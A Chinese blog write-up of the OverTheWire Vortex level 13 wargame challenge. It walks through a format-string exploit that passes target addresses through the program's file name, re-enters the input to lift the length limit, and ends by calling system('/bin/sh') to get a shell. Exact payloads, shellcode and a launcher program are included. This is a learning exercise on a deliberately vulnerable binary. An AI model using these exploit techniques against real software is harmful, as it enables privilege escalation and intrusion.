OverTheWire Vertex Level 13 → Level 14

Reading time ~1 minute

由于要当码农,已经好几天没有时间做vortex了,现在刚有了点时间,回来继续奋战,结果真是被虐的一塌糊涂。

原题参见这里

首先还是逆向,得到仿写的程序如下:

char *allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%.$x0A";

void vuln()
{
    int size = 0x14;
    char *s = malloc(size);
    fgets(s, size, stdin);
    for (int i = 0; i <= 0x13; ++i) {
        if (!strchr(allowed, s[i])) {
            exit(1);
        }
    }
    printf(s);
    free(s);
}

int main(int argc, char *argv[])
{
    if (argc != 0) {
        exit(1);
    }
    extern char **environ;
    for (char **p = environ; *p; ++p) {
        for (char *s = p; *s; ++s) {
            *s = 0;
        }
    }
    for (char **p = argv; *p; ++p) {
        for (char *s = p; *s; ++s) {
            *s = 0;
        }
    }
    vuln();
    return 0;
}

看到这个程序,真的是不得不说,这也太狠了点吧,清空了参数和环境变量,然后只给了19个字符的输入空间,这19个字符的取值范围还被限定了,要通过这19个字符来控制程序,还是不可运行的栈,这真是shellcode也不止这点长度了。反正如果就我个人看到的第一感而言,这程序保护的简直无懈可击。

这个程序想来应该很明确是通过printf的格式化字符串溢出攻击,但通过这19个字符我们应该使程序跳到哪里去却是一个巨大的问题。

仔细观察程序,我们会发现,我们可以跳转到char *s = malloc(size)这一句那里,然后在跳转之前,我们先修改好size,这样,程序就会再次运行vuln,为我们开辟出一块更大的空间,突破了长度的限制。然后,由于在strchr的检查循环中,固定是i <= 0x13而不是i < size,这样,我们就可以在20个字符后面接上非allowed中的字符了,看起来似乎柳暗花明了。

然而,printf的格式化字符串溢出,需要在栈中某个地方存储修改的目标地址,可是argv和env全都被清空了,如何将地址传递进来成了最大的问题,迈不出这第一步,一切想法都是浮云。

在纠结了N久之后,终于发现,除了argv和env,其实还有一个东西能把数据传进去,只是一直被忽略了,那就是在env后面,还存储了一份文件名,而linux下,文件名几乎可以为任意字符。这样,我们就可以通过文件名来携带我们需要的不可见字符了。

首先在文件名后加上16个0xff,gdb后发现,为了对齐,需要在最后再加3个字符。然后vuln的栈桢ebp为0xffffde38,文件名的第一个0xffffffff地址为0xffffdfe4,可以计算出,printf的时候,%117$对应着这个0xffffffff,我们也可以通过运行程序后输入%117$8x来测试。

然后,查看到我们需要跳转到的目标地址为0x08048551,而printf本身的返回地址为0x080485d7,那么为了节省格式化字符串的长度,我们只需要能修改最后一个字节即可,但是由于最少为%hn,即我们需要修改最后两个字节。

首先修改运行程序名:

cp ./vortex13 `python -c 'print "vortex" + "x0cxdexffxffx28xdexffxff" + "a" * 11'`

其中0xffffde0c的位置上存储着printf的返回地址,0xffffde28的位置上存储着size。

这样想要修改返回地址,我们需要输入%34129x%117$hn,修改size,我们需要输入%118$n,这样最终得到输入字符串为:

%34129x%117$hn%118$n

然而,数完长度之后,瞬间有种要崩溃的即视感,竟然不多不少,正好20个字符,超出限制的19个字符一个字符,而这个长度已经极限了,那么也就是说,我们这个方案告吹。

再仔细观察fgets(s, size, stdin)对应的汇编代码:

   0x804855f <vuln+27>:	mov    0x804a030,%eax
   0x8048564 <vuln+32>:	mov    %eax,%edx
   0x8048566 <vuln+34>:	mov    -0x10(%ebp),%eax
   0x8048569 <vuln+37>:	mov    %edx,0x8(%esp)
   0x804856d <vuln+41>:	mov    %eax,0x4(%esp)
   0x8048571 <vuln+45>:	mov    -0xc(%ebp),%eax
   0x8048574 <vuln+48>:	mov    %eax,(%esp)
   0x8048577 <vuln+51>:	call   0x8048430 <fgets@plt>

我们只要跳到0x804856d处,fgets的长度限制就会变,至于变成多少,就要看跳转过来时eax的状况了,而实际情况中,这个时候eax的值不小。但是这样我们确实把fgets的size参数改掉了,但同时,我们也丢失了fgets的第三个参数stream,但仔细观察程序+gdb,我们会惊喜的发现,后面的函数都没有用到第三个参数的位置,那么也就是说,只要我们不修改,第三个参数应该和上一次fgets的时候一样,这正如我们所愿。

于是乎,通过以下输入:

%34157x%117$hn
%34129x%117$hn%118$n

我们完全控制了我们可以输入的字符长度。

由于栈不可运行,我们将shellcode通过第三次输入,放到堆中,然后跳转执行即可。

通过gdb,得到第一次malloc分配出来的地址为0x0804b008,第二次为0x0804b020,于是得到输入如下:

%34157x%117$hn
%34129x%117$hn%118$n
%45108x%117$hnaaaaaa{shellcode}

其中,45108=0xb034,而shellcode的起始地址为0x0804b034,运行:

cp /vortex/vortex13 `python -c 'print "/tmp/vortex" + "x0cxdexffxffx28xdexffxff" + "a" * 11'`
./generate.py > payload
cat payload | ./startup

generate.py:

#!/usr/bin/env python

shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
print('%34157x%117$hn')
print('%34129x%117$hn%118$n')
print('%45108x%117$hn' + 'aaaaaa' + shellcode)

startup.c:

#include <unistd.h>

int main(int argc, char *argv[])
{
    char *arg[] = {NULL};
    char *env[] = {NULL};
    execve("/tmp/vortex""x0cxdexffxffx28xdexffxff""aaa", arg, env);
    return 0;
}

然而,运行后,结果并不如所愿,竟然崩溃了,最后无奈的发现,堆也是不可运行的。

于是乎,我们采用和上关一样的方式,调用system("/bin/sh"),system地址为0xf7e67280,利用输入传入字符串/bin/sh,得到payload如下:

%34157x%117$hn
%29312x%117$hn%34150x%118$hn%47194x%119$hn%22468x%120$hn/bin/sh
cp /vortex/vortex13 `python -c 'print "/tmp/vortex" + "x0cxdexffxffx0exdexffxffx14xdexffxffx16xdexffxffaaa"'`

startup.c:

#include <unistd.h>

int main(int argc, char *argv[])
{
    char *arg[] = {NULL};
    char *env[] = {NULL};
    execve("/tmp/vortex""x0cxdexffxffx0exdexffxffx14xdexffxffx16xdexffxff""aaa", arg, env);
    return 0;
}

这样,运行startup,输入payload,我们成功拿到shell。然而,不幸再次降临,我们拿到的shell是没有权限的,稍微一想便会发现,由于我们的cp命令,文件已经变了,权限没了,一切都白瞎。

思前想后,想用链接,然而,创建硬链接会得到如下错误:

ln: failed to create hard link `/tmp/vortexf336377377163363773772433637737726336377377aaa' => `/vortex/vortex13': Invalid cross-device link

那就只能创建软链接了(不过软链接似乎在某些情况下,gdb进去会发现运行程序名还是/vortex/vortex13),反正至少用startup调用的时候不会,这样,我们就成功拿到shell。

本题虽然解决的不是很满意,但在被虐了N久之后,至少勉强也算过了。

挂载网络文件夹后网络故障时文件操作命令卡死

挂载 NFS 或者 Samba 的时候,经常会由于网络故障导致挂载好的链接断掉。此时如果尝试进行 ls、cd、df 等各种命令,只要与此目录沾上边,就会卡住。如果使用了类似 oh-my-zsh 这种配置的,只要在网络目录中,弹出命令提示符前就会直接卡住。这个时候第一反应就是...… Continue reading

路由折腾记 第四弹

Published on September 02, 2017